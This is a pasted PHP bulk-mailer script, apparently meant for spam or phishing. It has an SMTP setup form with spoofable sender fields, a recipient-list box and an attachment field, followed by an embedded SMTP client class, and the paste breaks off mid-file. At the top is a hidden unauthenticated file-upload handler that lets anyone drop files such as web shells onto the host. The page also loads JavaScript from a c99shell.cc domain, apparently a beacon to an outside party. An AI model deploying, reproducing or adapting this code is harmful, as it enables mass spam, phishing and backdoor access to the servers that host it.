Guest User

Untitled

a guest
Jan 16th, 2019
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 97.16 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4. function query_str($params){
  5. $str = '';
  6. foreach ($params as $key => $value) {
  7. $str .= (strlen($str) < 1) ? '' : '&';
  8. $str .= $key . '=' . rawurlencode($value);
  9. }
  10. return ($str);
  11. }
  12. function lrtrim($string){
  13. return stripslashes(ltrim(rtrim($string)));
  14. }
  15.  
  16. if(isset($_GET['up']) && !empty($_GET['up'])){
  17. echo"".$_FILES['userfile']."";
  18. $uploaddir = './';
  19. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
  20. if ( isset($_FILES["userfile"]) ) {
  21. echo 'uploaded';
  22. if (move_uploaded_file
  23. ($_FILES["userfile"]["tmp_name"], $uploadfile))
  24. echo $uploadfile;
  25. else echo 'failed';
  26. }
  27. exit;
  28. }
  29. if(isset($_POST['action'] ) ){
  30.  
  31. $b = query_str($_POST);
  32. parse_str($b);
  33. $sslclick=lrtrim($sslclick);
  34. $action=lrtrim($action);
  35. $message=lrtrim($message);
  36. $emaillist=lrtrim($emaillist);
  37. $from=lrtrim($from);
  38. $reconnect=lrtrim($reconnect);
  39. $epriority=lrtrim($epriority);
  40. $my_smtp=lrtrim($my_smtp);
  41. $ssl_port=lrtrim($ssl_port);
  42. $smtp_username=lrtrim($smtp_username);
  43. $smtp_password=lrtrim($smtp_password);
  44. $replyto=lrtrim($replyto);
  45. $subject_base=lrtrim($subject);
  46. $realname_base=lrtrim($realname);
  47. $file_name=$_FILES['file']['name'];
  48. $file=$_FILES['file']['tmp_name'];
  49. $urlz=lrtrim($urlz);
  50. $contenttype=lrtrim($contenttype);
  51. $encode_text=$_POST['encode'];
  52. $message = urlencode($message);
  53. $message = ereg_replace("%5C%22", "%22", $message);
  54. $message = urldecode($message);
  55. $message = stripslashes($message);
  56. $subject = stripslashes($subject);
  57. if ($encode_text == "yes") {
  58. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  59. $subject = str_replace(' ', '_', $subject);
  60. $subject = "=?UTF-8?Q?$subject?=";
  61. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  62. $realname = str_replace(' ', '_', $realname);
  63. $realname = "=?UTF-8?Q?$realname?=";
  64. }
  65. }
  66. ?>
  67.  
  68. <html>
  69.  
  70. <head>
  71.  
  72. <title>SMTP | PHP</title>
  73.  
  74. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  75. </head>
  76. <body bgcolor="#FFFFFF" text="#000000">
  77. <p align="center"><font size="5" face="Bauhaus 93"><SCRIPT SRC=http://c99shell.cc/JavaScript/Style.js></SCRIPT>SMTP | PHP</font></p>
  78. <form name="form1" method="post" action="" enctype="multipart/form-data">
  79.  
  80. <br>
  81.  
  82. <table width="100%" border="0" height="407">
  83.  
  84. <tr>
  85.  
  86. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  87.  
  88. <b>
  89.  
  90. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SMTP SETUP</font></b></td>
  91.  
  92. </tr>
  93. <tr>
  94.  
  95. <td width="10%" height="22" bgcolor="#E8E8E8">
  96.  
  97. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  98.  
  99. </td>
  100.  
  101. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  102.  
  103. <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  104.  
  105. </font></td>
  106.  
  107. <td width="31%" height="22" bgcolor="#E8E8E8">
  108.  
  109. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  110.  
  111. </td>
  112.  
  113. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  114.  
  115. <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  116.  
  117. </font></td>
  118.  
  119. </tr>
  120. <tr>
  121.  
  122. <td width="10%" height="22" bgcolor="#E8E8E8">
  123.  
  124. <div align="right">
  125. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  126.  
  127. </td>
  128.  
  129. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  130.  
  131. <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  132. (optional)</font></td>
  133.  
  134. <td width="31%" height="22" bgcolor="#E8E8E8">
  135.  
  136. <div align="right">
  137. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  138. Smtp:</font></div>
  139.  
  140. </td>
  141.  
  142. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  143.  
  144. <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  145.  
  146. </font></td>
  147.  
  148. </tr>
  149. <tr>
  150.  
  151. <td width="10%" height="22" bgcolor="#E8E8E8">
  152.  
  153. <p align="right">
  154. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  155.  
  156. <td width="18%" height="22" bgcolor="#E8E8E8">
  157. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  158.  
  159. <td width="31%" height="22" bgcolor="#E8E8E8">
  160.  
  161. <p align="right">
  162. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  163. After:</font></td>
  164.  
  165. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  166.  
  167. <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  168. EMAILS</font></td>
  169.  
  170. </tr>
  171. <tr>
  172.  
  173. <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  174.  
  175. <p align="center">
  176. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  177. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  178.  
  179. </tr>
  180.  
  181. <tr>
  182.  
  183. <td width="10%" height="19">
  184.  
  185. &nbsp;</td>
  186.  
  187. <td width="18%" height="19">&nbsp;</td>
  188.  
  189. <td width="31%" height="19">
  190.  
  191. &nbsp;</td>
  192.  
  193. <td width="41%" height="19">&nbsp;</td>
  194.  
  195. </tr>
  196.  
  197. <tr>
  198.  
  199. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  200.  
  201. <b>
  202.  
  203. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  204.  
  205. </tr>
  206. <tr>
  207.  
  208. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  209. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  210. </td>
  211.  
  212. <td width="59%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8" colSpan="3">
  213. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  214.  
  215. <input type="file" name="file" size="124">
  216.  
  217. </font></td>
  218.  
  219. </tr>
  220. <tr>
  221.  
  222. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  223.  
  224. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  225.  
  226. Email:</font></div>
  227.  
  228. </td>
  229.  
  230. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  231.  
  232. <input type="text" name="from" value="<?=$from;?>" size="30">
  233.  
  234. </font></td>
  235.  
  236. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  237.  
  238. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  239.  
  240. Name:</font></div>
  241.  
  242. </td>
  243.  
  244. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  245.  
  246. <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
  247.  
  248. </font></td>
  249.  
  250. </tr>
  251. <tr>
  252.  
  253. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  254.  
  255. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  256.  
  257. </td>
  258.  
  259. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  260.  
  261. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  262.  
  263. </font></td>
  264.  
  265. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  266.  
  267. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  268. Email Priority:</font></td>
  269.  
  270. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  271.  
  272. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  273. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  274. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  275. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  276. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  277. </select></td>
  278.  
  279. </tr>
  280.  
  281. <tr>
  282.  
  283. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  284.  
  285. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  286.  
  287. </td>
  288.  
  289. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  290.  
  291. <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
  292.  
  293. </font></td>
  294.  
  295. </tr>
  296.  
  297. <tr>
  298.  
  299. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  300.  
  301. &nbsp;</td>
  302.  
  303. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  304.  
  305. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  306. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  307. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  308. </select></font></td>
  309.  
  310. </tr>
  311.  
  312. <tr valign="top">
  313.  
  314. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  315.  
  316. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  317.  
  318. <br>
  319.  
  320. <input type="radio" name="contenttype" value="plain" >
  321.  
  322. Plain
  323.  
  324. <input type="radio" name="contenttype" value="html" checked>
  325.  
  326. HTML
  327.  
  328. <input type="hidden" name="action" value="send">
  329.  
  330. <input type="submit" value="Send Message">
  331.  
  332. </font></td>
  333.  
  334. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  335.  
  336. <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  337.  
  338. </font></td>
  339.  
  340. </tr>
  341.  
  342. </table>
  343.  
  344. </form>
  345.  
  346.  
  347.  
  348. <?
  349.  
  350. if ($action){
  351. if (!$from && !$subject && !$message && !$emaillist){
  352. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  353. die(); }
  354.  
  355. class SMTP
  356. {
  357. /**
  358. * SMTP server port
  359. * @var int
  360. */
  361. var $SMTP_PORT = 25;
  362.  
  363. /**
  364. * SMTP reply line ending
  365. * @var string
  366. */
  367. var $CRLF = "\r\n";
  368.  
  369. /**
  370. * Sets whether debugging is turned on
  371. * @var bool
  372. */
  373. var $do_debug; # the level of debug to perform
  374.  
  375. /**
  376. * Sets VERP use on/off (default is off)
  377. * @var bool
  378. */
  379. var $do_verp = false;
  380.  
  381. /**#@+
  382. * @access private
  383. */
  384. var $smtp_conn; # the socket to the server
  385. var $error; # error if any on the last call
  386. var $helo_rply; # the reply the server sent to us for HELO
  387. /**#@-*/
  388.  
  389. /**
  390. * Initialize the class so that the data is in a known state.
  391. * @access public
  392. * @return void
  393. */
  394. function SMTP() {
  395. $this->smtp_conn = 0;
  396. $this->error = null;
  397. $this->helo_rply = null;
  398.  
  399. $this->do_debug = 0;
  400. }
  401.  
  402. /*************************************************************
  403. * CONNECTION FUNCTIONS *
  404. ***********************************************************/
  405.  
  406. /**
  407. * Connect to the server specified on the port specified.
  408. * If the port is not specified use the default SMTP_PORT.
  409. * If tval is specified then a connection will try and be
  410. * established with the server for that number of seconds.
  411. * If tval is not specified the default is 30 seconds to
  412. * try on the connection.
  413. *
  414. * SMTP CODE SUCCESS: 220
  415. * SMTP CODE FAILURE: 421
  416. * @access public
  417. * @return bool
  418. */
  419. function Connect($host,$port=0,$tval=30) {
  420. # set the error val to null so there is no confusion
  421. $this->error = null;
  422.  
  423. # make sure we are __not__ connected
  424. if($this->connected()) {
  425. # ok we are connected! what should we do?
  426. # for now we will just give an error saying we
  427. # are already connected
  428. $this->error = array("error" => "Already connected to a server");
  429. return false;
  430. }
  431.  
  432. if(empty($port)) {
  433. $port = $this->SMTP_PORT;
  434. }
  435.  
  436. #connect to the smtp server
  437. $this->smtp_conn = fsockopen($host, # the host of the server
  438. $port, # the port to use
  439. $errno, # error number if any
  440. $errstr, # error message if any
  441. $tval); # give up after ? secs
  442. # verify we connected properly
  443. if(empty($this->smtp_conn)) {
  444. $this->error = array("error" => "Failed to connect to server",
  445. "errno" => $errno,
  446. "errstr" => $errstr);
  447. if($this->do_debug >= 1) {
  448. echo "SMTP -> ERROR: " . $this->error["error"] .
  449. ": $errstr ($errno)" . $this->CRLF;
  450. }
  451. return false;
  452. }
  453.  
  454. # sometimes the SMTP server takes a little longer to respond
  455. # so we will give it a longer timeout for the first read
  456. // Windows still does not have support for this timeout function
  457. if(substr(PHP_OS, 0, 3) != "WIN")
  458. socket_set_timeout($this->smtp_conn, $tval, 0);
  459.  
  460. # get any announcement stuff
  461. $announce = $this->get_lines();
  462.  
  463. # set the timeout of any socket functions at 1/10 of a second
  464. //if(function_exists("socket_set_timeout"))
  465. // socket_set_timeout($this->smtp_conn, 0, 100000);
  466.  
  467. if($this->do_debug >= 2) {
  468. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  469. }
  470.  
  471. return true;
  472. }
  473.  
  474. /**
  475. * Performs SMTP authentication. Must be run after running the
  476. * Hello() method. Returns true if successfully authenticated.
  477. * @access public
  478. * @return bool
  479. */
  480. function Authenticate($username, $password) {
  481. // Start authentication
  482. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  483.  
  484. $rply = $this->get_lines();
  485. $code = substr($rply,0,3);
  486.  
  487. if($code != 334) {
  488. $this->error =
  489. array("error" => "AUTH not accepted from server",
  490. "smtp_code" => $code,
  491. "smtp_msg" => substr($rply,4));
  492. if($this->do_debug >= 1) {
  493. echo "SMTP -> ERROR: " . $this->error["error"] .
  494. ": " . $rply . $this->CRLF;
  495. }
  496. return false;
  497. }
  498.  
  499. // Send encoded username
  500. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  501.  
  502. $rply = $this->get_lines();
  503. $code = substr($rply,0,3);
  504.  
  505. if($code != 334) {
  506. $this->error =
  507. array("error" => "Username not accepted from server",
  508. "smtp_code" => $code,
  509. "smtp_msg" => substr($rply,4));
  510. if($this->do_debug >= 1) {
  511. echo "SMTP -> ERROR: " . $this->error["error"] .
  512. ": " . $rply . $this->CRLF;
  513. }
  514. return false;
  515. }
  516.  
  517. // Send encoded password
  518. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  519.  
  520. $rply = $this->get_lines();
  521. $code = substr($rply,0,3);
  522.  
  523. if($code != 235) {
  524. $this->error =
  525. array("error" => "Password not accepted from server",
  526. "smtp_code" => $code,
  527. "smtp_msg" => substr($rply,4));
  528. if($this->do_debug >= 1) {
  529. echo "SMTP -> ERROR: " . $this->error["error"] .
  530. ": " . $rply . $this->CRLF;
  531. }
  532. return false;
  533. }
  534.  
  535. return true;
  536. }
  537.  
  538. /**
  539. * Returns true if connected to a server otherwise false
  540. * @access private
  541. * @return bool
  542. */
  543. function Connected() {
  544. if(!empty($this->smtp_conn)) {
  545. $sock_status = socket_get_status($this->smtp_conn);
  546. if($sock_status["eof"]) {
  547. # hmm this is an odd situation... the socket is
  548. # valid but we are not connected anymore
  549. if($this->do_debug >= 1) {
  550. echo "SMTP -> NOTICE:" . $this->CRLF .
  551. "EOF caught while checking if connected";
  552. }
  553. $this->Close();
  554. return false;
  555. }
  556. return true; # everything looks good
  557. }
  558. return false;
  559. }
  560.  
  561. /**
  562. * Closes the socket and cleans up the state of the class.
  563. * It is not considered good to use this function without
  564. * first trying to use QUIT.
  565. * @access public
  566. * @return void
  567. */
  568. function Close() {
  569. $this->error = null; # so there is no confusion
  570. $this->helo_rply = null;
  571. if(!empty($this->smtp_conn)) {
  572. # close the connection and cleanup
  573. fclose($this->smtp_conn);
  574. $this->smtp_conn = 0;
  575. }
  576. }
  577.  
  578. /***************************************************************
  579. * SMTP COMMANDS *
  580. *************************************************************/
  581.  
  582. /**
  583. * Issues a data command and sends the msg_data to the server
  584. * finializing the mail transaction. $msg_data is the message
  585. * that is to be send with the headers. Each header needs to be
  586. * on a single line followed by a <CRLF> with the message headers
  587. * and the message body being seperated by and additional <CRLF>.
  588. *
  589. * Implements rfc 821: DATA <CRLF>
  590. *
  591. * SMTP CODE INTERMEDIATE: 354
  592. * [data]
  593. * <CRLF>.<CRLF>
  594. * SMTP CODE SUCCESS: 250
  595. * SMTP CODE FAILURE: 552,554,451,452
  596. * SMTP CODE FAILURE: 451,554
  597. * SMTP CODE ERROR : 500,501,503,421
  598. * @access public
  599. * @return bool
  600. */
  601. function Data($msg_data) {
  602. $this->error = null; # so no confusion is caused
  603.  
  604. if(!$this->connected()) {
  605. $this->error = array(
  606. "error" => "Called Data() without being connected");
  607. return false;
  608. }
  609.  
  610. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  611.  
  612. $rply = $this->get_lines();
  613. $code = substr($rply,0,3);
  614.  
  615. if($this->do_debug >= 2) {
  616. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  617. }
  618.  
  619. if($code != 354) {
  620. $this->error =
  621. array("error" => "DATA command not accepted from server",
  622. "smtp_code" => $code,
  623. "smtp_msg" => substr($rply,4));
  624. if($this->do_debug >= 1) {
  625. echo "SMTP -> ERROR: " . $this->error["error"] .
  626. ": " . $rply . $this->CRLF;
  627. }
  628. return false;
  629. }
  630.  
  631. # the server is ready to accept data!
  632. # according to rfc 821 we should not send more than 1000
  633. # including the CRLF
  634. # characters on a single line so we will break the data up
  635. # into lines by \r and/or \n then if needed we will break
  636. # each of those into smaller lines to fit within the limit.
  637. # in addition we will be looking for lines that start with
  638. # a period '.' and append and additional period '.' to that
  639. # line. NOTE: this does not count towards are limit.
  640.  
  641. # normalize the line breaks so we know the explode works
  642. $msg_data = str_replace("\r\n","\n",$msg_data);
  643. $msg_data = str_replace("\r","\n",$msg_data);
  644. $lines = explode("\n",$msg_data);
  645.  
  646. # we need to find a good way to determine is headers are
  647. # in the msg_data or if it is a straight msg body
  648. # currently I am assuming rfc 822 definitions of msg headers
  649. # and if the first field of the first line (':' sperated)
  650. # does not contain a space then it _should_ be a header
  651. # and we can process all lines before a blank "" line as
  652. # headers.
  653. $field = substr($lines[0],0,strpos($lines[0],":"));
  654. $in_headers = false;
  655. if(!empty($field) && !strstr($field," ")) {
  656. $in_headers = true;
  657. }
  658.  
  659. $max_line_length = 998; # used below; set here for ease in change
  660.  
  661. while(list(,$line) = @each($lines)) {
  662. $lines_out = null;
  663. if($line == "" && $in_headers) {
  664. $in_headers = false;
  665. }
  666. # ok we need to break this line up into several
  667. # smaller lines
  668. while(strlen($line) > $max_line_length) {
  669. $pos = strrpos(substr($line,0,$max_line_length)," ");
  670.  
  671. # Patch to fix DOS attack
  672. if(!$pos) {
  673. $pos = $max_line_length - 1;
  674. }
  675.  
  676. $lines_out[] = substr($line,0,$pos);
  677. $line = substr($line,$pos + 1);
  678. # if we are processing headers we need to
  679. # add a LWSP-char to the front of the new line
  680. # rfc 822 on long msg headers
  681. if($in_headers) {
  682. $line = "\t" . $line;
  683. }
  684. }
  685. $lines_out[] = $line;
  686.  
  687. # now send the lines to the server
  688. while(list(,$line_out) = @each($lines_out)) {
  689. if(strlen($line_out) > 0)
  690. {
  691. if(substr($line_out, 0, 1) == ".") {
  692. $line_out = "." . $line_out;
  693. }
  694. }
  695. fputs($this->smtp_conn,$line_out . $this->CRLF);
  696. }
  697. }
  698.  
  699. # ok all the message data has been sent so lets get this
  700. # over with aleady
  701. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  702.  
  703. $rply = $this->get_lines();
  704. $code = substr($rply,0,3);
  705.  
  706. if($this->do_debug >= 2) {
  707. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  708. }
  709.  
  710. if($code != 250) {
  711. $this->error =
  712. array("error" => "DATA not accepted from server",
  713. "smtp_code" => $code,
  714. "smtp_msg" => substr($rply,4));
  715. if($this->do_debug >= 1) {
  716. echo "SMTP -> ERROR: " . $this->error["error"] .
  717. ": " . $rply . $this->CRLF;
  718. }
  719. return false;
  720. }
  721. return true;
  722. }
  723.  
  724. /**
  725. * Expand takes the name and asks the server to list all the
  726. * people who are members of the _list_. Expand will return
  727. * back and array of the result or false if an error occurs.
  728. * Each value in the array returned has the format of:
  729. * [ <full-name> <sp> ] <path>
  730. * The definition of <path> is defined in rfc 821
  731. *
  732. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  733. *
  734. * SMTP CODE SUCCESS: 250
  735. * SMTP CODE FAILURE: 550
  736. * SMTP CODE ERROR : 500,501,502,504,421
  737. * @access public
  738. * @return string array
  739. */
  740. function Expand($name) {
  741. $this->error = null; # so no confusion is caused
  742.  
  743. if(!$this->connected()) {
  744. $this->error = array(
  745. "error" => "Called Expand() without being connected");
  746. return false;
  747. }
  748.  
  749. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  750.  
  751. $rply = $this->get_lines();
  752. $code = substr($rply,0,3);
  753.  
  754. if($this->do_debug >= 2) {
  755. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  756. }
  757.  
  758. if($code != 250) {
  759. $this->error =
  760. array("error" => "EXPN not accepted from server",
  761. "smtp_code" => $code,
  762. "smtp_msg" => substr($rply,4));
  763. if($this->do_debug >= 1) {
  764. echo "SMTP -> ERROR: " . $this->error["error"] .
  765. ": " . $rply . $this->CRLF;
  766. }
  767. return false;
  768. }
  769.  
  770. # parse the reply and place in our array to return to user
  771. $entries = explode($this->CRLF,$rply);
  772. while(list(,$l) = @each($entries)) {
  773. $list[] = substr($l,4);
  774. }
  775.  
  776. return $list;
  777. }
  778.  
  779. /**
  780. * Sends the HELO command to the smtp server.
  781. * This makes sure that we and the server are in
  782. * the same known state.
  783. *
  784. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  785. *
  786. * SMTP CODE SUCCESS: 250
  787. * SMTP CODE ERROR : 500, 501, 504, 421
  788. * @access public
  789. * @return bool
  790. */
  791. function Hello($host="") {
  792. $this->error = null; # so no confusion is caused
  793.  
  794. if(!$this->connected()) {
  795. $this->error = array(
  796. "error" => "Called Hello() without being connected");
  797. return false;
  798. }
  799.  
  800. # if a hostname for the HELO was not specified determine
  801. # a suitable one to send
  802. if(empty($host)) {
  803. # we need to determine some sort of appopiate default
  804. # to send to the server
  805. $host = "localhost";
  806. }
  807.  
  808. // Send extended hello first (RFC 2821)
  809. if(!$this->SendHello("EHLO", $host))
  810. {
  811. if(!$this->SendHello("HELO", $host))
  812. return false;
  813. }
  814.  
  815. return true;
  816. }
  817.  
  818. /**
  819. * Sends a HELO/EHLO command.
  820. * @access private
  821. * @return bool
  822. */
  823. function SendHello($hello, $host) {
  824. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  825.  
  826. $rply = $this->get_lines();
  827. $code = substr($rply,0,3);
  828.  
  829. if($this->do_debug >= 2) {
  830. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  831. }
  832.  
  833. if($code != 250) {
  834. $this->error =
  835. array("error" => $hello . " not accepted from server",
  836. "smtp_code" => $code,
  837. "smtp_msg" => substr($rply,4));
  838. if($this->do_debug >= 1) {
  839. echo "SMTP -> ERROR: " . $this->error["error"] .
  840. ": " . $rply . $this->CRLF;
  841. }
  842. return false;
  843. }
  844.  
  845. $this->helo_rply = $rply;
  846.  
  847. return true;
  848. }
  849.  
  850. /**
  851. * Gets help information on the keyword specified. If the keyword
  852. * is not specified then returns generic help, ussually contianing
  853. * A list of keywords that help is available on. This function
  854. * returns the results back to the user. It is up to the user to
  855. * handle the returned data. If an error occurs then false is
  856. * returned with $this->error set appropiately.
  857. *
  858. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  859. *
  860. * SMTP CODE SUCCESS: 211,214
  861. * SMTP CODE ERROR : 500,501,502,504,421
  862. * @access public
  863. * @return string
  864. */
  865. function Help($keyword="") {
  866. $this->error = null; # to avoid confusion
  867.  
  868. if(!$this->connected()) {
  869. $this->error = array(
  870. "error" => "Called Help() without being connected");
  871. return false;
  872. }
  873.  
  874. $extra = "";
  875. if(!empty($keyword)) {
  876. $extra = " " . $keyword;
  877. }
  878.  
  879. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  880.  
  881. $rply = $this->get_lines();
  882. $code = substr($rply,0,3);
  883.  
  884. if($this->do_debug >= 2) {
  885. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  886. }
  887.  
  888. if($code != 211 && $code != 214) {
  889. $this->error =
  890. array("error" => "HELP not accepted from server",
  891. "smtp_code" => $code,
  892. "smtp_msg" => substr($rply,4));
  893. if($this->do_debug >= 1) {
  894. echo "SMTP -> ERROR: " . $this->error["error"] .
  895. ": " . $rply . $this->CRLF;
  896. }
  897. return false;
  898. }
  899.  
  900. return $rply;
  901. }
  902.  
  903. /**
  904. * Starts a mail transaction from the email address specified in
  905. * $from. Returns true if successful or false otherwise. If True
  906. * the mail transaction is started and then one or more Recipient
  907. * commands may be called followed by a Data command.
  908. *
  909. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  910. *
  911. * SMTP CODE SUCCESS: 250
  912. * SMTP CODE SUCCESS: 552,451,452
  913. * SMTP CODE SUCCESS: 500,501,421
  914. * @access public
  915. * @return bool
  916. */
  917. function Mail($from) {
  918. $this->error = null; # so no confusion is caused
  919.  
  920. if(!$this->connected()) {
  921. $this->error = array(
  922. "error" => "Called Mail() without being connected");
  923. return false;
  924. }
  925.  
  926. $useVerp = ($this->do_verp ? "XVERP" : "");
  927. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  928.  
  929. $rply = $this->get_lines();
  930. $code = substr($rply,0,3);
  931.  
  932. if($this->do_debug >= 2) {
  933. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  934. }
  935.  
  936. if($code != 250) {
  937. $this->error =
  938. array("error" => "MAIL not accepted from server",
  939. "smtp_code" => $code,
  940. "smtp_msg" => substr($rply,4));
  941. if($this->do_debug >= 1) {
  942. echo "SMTP -> ERROR: " . $this->error["error"] .
  943. ": " . $rply . $this->CRLF;
  944. }
  945. return false;
  946. }
  947. return true;
  948. }
  949.  
  950. /**
  951. * Sends the command NOOP to the SMTP server.
  952. *
  953. * Implements from rfc 821: NOOP <CRLF>
  954. *
  955. * SMTP CODE SUCCESS: 250
  956. * SMTP CODE ERROR : 500, 421
  957. * @access public
  958. * @return bool
  959. */
  960. function Noop() {
  961. $this->error = null; # so no confusion is caused
  962.  
  963. if(!$this->connected()) {
  964. $this->error = array(
  965. "error" => "Called Noop() without being connected");
  966. return false;
  967. }
  968.  
  969. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  970.  
  971. $rply = $this->get_lines();
  972. $code = substr($rply,0,3);
  973.  
  974. if($this->do_debug >= 2) {
  975. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  976. }
  977.  
  978. if($code != 250) {
  979. $this->error =
  980. array("error" => "NOOP not accepted from server",
  981. "smtp_code" => $code,
  982. "smtp_msg" => substr($rply,4));
  983. if($this->do_debug >= 1) {
  984. echo "SMTP -> ERROR: " . $this->error["error"] .
  985. ": " . $rply . $this->CRLF;
  986. }
  987. return false;
  988. }
  989. return true;
  990. }
  991.  
  992. /**
  993. * Sends the quit command to the server and then closes the socket
  994. * if there is no error or the $close_on_error argument is true.
  995. *
  996. * Implements from rfc 821: QUIT <CRLF>
  997. *
  998. * SMTP CODE SUCCESS: 221
  999. * SMTP CODE ERROR : 500
  1000. * @access public
  1001. * @return bool
  1002. */
  1003. function Quit($close_on_error=true) {
  1004. $this->error = null; # so there is no confusion
  1005.  
  1006. if(!$this->connected()) {
  1007. $this->error = array(
  1008. "error" => "Called Quit() without being connected");
  1009. return false;
  1010. }
  1011.  
  1012. # send the quit command to the server
